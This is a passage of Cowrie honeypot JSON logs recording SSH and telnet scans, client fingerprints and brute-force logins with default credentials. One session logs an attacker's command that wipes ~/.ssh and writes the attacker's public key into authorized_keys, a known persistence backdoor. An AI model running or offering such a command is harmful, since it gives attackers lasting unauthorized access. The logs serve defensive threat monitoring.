om","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:21.584398Z","src_ip":"58.69.56.44","session":"c29b8eb23f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"test123","message":"login attempt [administrator/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:22.539996Z","src_ip":"58.69.56.44","session":"c29b8eb23f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:23.776084Z","src_ip":"58.69.56.44","session":"c29b8eb23f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.178.166","src_port":44928,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e08bff258f","protocol":"ssh","message":"New connection: 106.13.178.166:44928 (10.17.0.5:22) [session: 43e08bff258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:24.101189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:24.145098Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:24.400136Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:25.411969Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:25.972547Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:25.976003Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:25.980567Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:26.240101Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:26.796675Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:26.800282Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:27.060915Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:27.064867Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.178.166","src_port":45542,"dst_ip":"10.17.0.5","dst_port":22,"session":"31ae6e35b0b3","protocol":"ssh","message":"New connection: 106.13.178.166:45542 (10.17.0.5:22) [session: 31ae6e35b0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:27.828188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:27.832880Z","src_ip":"106.13.178.166","session":"31ae6e35b0b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:28.066918Z","src_ip":"106.13.178.166","session":"31ae6e35b0b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.531271934509277,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:28.701082Z","src_ip":"38.61.130.38","session":"2e7be2a15a37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:30.440626Z","src_ip":"106.13.178.166","session":"31ae6e35b0b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:32.936390Z","src_ip":"106.13.178.166","session":"31ae6e35b0b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.178.166","src_port":46496,"dst_ip":"10.17.0.5","dst_port":22,"session":"4461576f4bf4","protocol":"ssh","message":"New connection: 106.13.178.166:46496 (10.17.0.5:22) [session: 4461576f4bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:33.197192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:33.207065Z","src_ip":"106.13.178.166","session":"4461576f4bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:33.460762Z","src_ip":"106.13.178.166","session":"4461576f4bf4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:34.508964Z","src_ip":"106.13.178.166","session":"4461576f4bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:34.764862Z","src_ip":"106.13.178.166","session":"43e08bff258f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:34.770569Z","src_ip":"106.13.178.166","session":"4461576f4bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.220.109","src_port":42870,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c5608bbfb5","protocol":"ssh","message":"New connection: 34.38.220.109:42870 (10.17.0.5:22) [session: 73c5608bbfb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:44.680001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:44.761168Z","src_ip":"34.38.220.109","session":"73c5608bbfb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.220.109","src_port":42876,"dst_ip":"10.17.0.5","dst_port":22,"session":"6163971a1ea9","protocol":"ssh","message":"New connection: 34.38.220.109:42876 (10.17.0.5:22) [session: 6163971a1ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:44.936397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:44.944914Z","src_ip":"34.38.220.109","session":"6163971a1ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:45.018568Z","src_ip":"34.38.220.109","session":"6163971a1ea9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:46.235033Z","src_ip":"34.38.220.109","session":"6163971a1ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:46.321284Z","src_ip":"34.38.220.109","session":"6163971a1ea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:46.326785Z","src_ip":"34.38.220.109","session":"73c5608bbfb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.239.78","src_port":5818,"dst_ip":"10.17.0.5","dst_port":22,"session":"3108ca89e4e0","protocol":"ssh","message":"New connection: 34.140.239.78:5818 (10.17.0.5:22) [session: 3108ca89e4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:47.164462Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:47.169497Z","src_ip":"34.140.239.78","session":"3108ca89e4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.239.78","src_port":5834,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b18b2d0abef","protocol":"ssh","message":"New connection: 34.140.239.78:5834 (10.17.0.5:22) [session: 0b18b2d0abef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:48.287414Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:48.369477Z","src_ip":"34.140.239.78","session":"0b18b2d0abef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:48.928059Z","src_ip":"34.38.220.109","session":"73c5608bbfb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":53702,"dst_ip":"159.203.135.109","dst_port":22,"session":"80318226c198","protocol":"ssh","message":"New connection: 96.70.252.227:53702 (159.203.135.109:22) [session: 80318226c198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:52.676353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:52.693864Z","src_ip":"96.70.252.227","session":"80318226c198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:52.729929Z","src_ip":"96.70.252.227","session":"80318226c198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"P4ssw0rd","message":"login attempt [ftptest/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:52.909477Z","src_ip":"96.70.252.227","session":"80318226c198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:12:53.952975Z","src_ip":"96.70.252.227","session":"80318226c198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":53314,"dst_ip":"159.203.135.109","dst_port":23,"session":"30717122c88a","protocol":"telnet","message":"New connection: 34.62.208.180:53314 (159.203.135.109:23) [session: 30717122c88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:03.596267Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.208.180","src_port":53328,"dst_ip":"159.203.135.109","dst_port":23,"session":"31851018b8f2","protocol":"telnet","message":"New connection: 34.62.208.180:53328 (159.203.135.109:23) [session: 31851018b8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:03.752112Z"}
{"eventid":"cowrie.session.closed","duration":0.008599281311035156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:13:03.760541Z","src_ip":"34.62.208.180","session":"31851018b8f2","protocol":"telnet"}
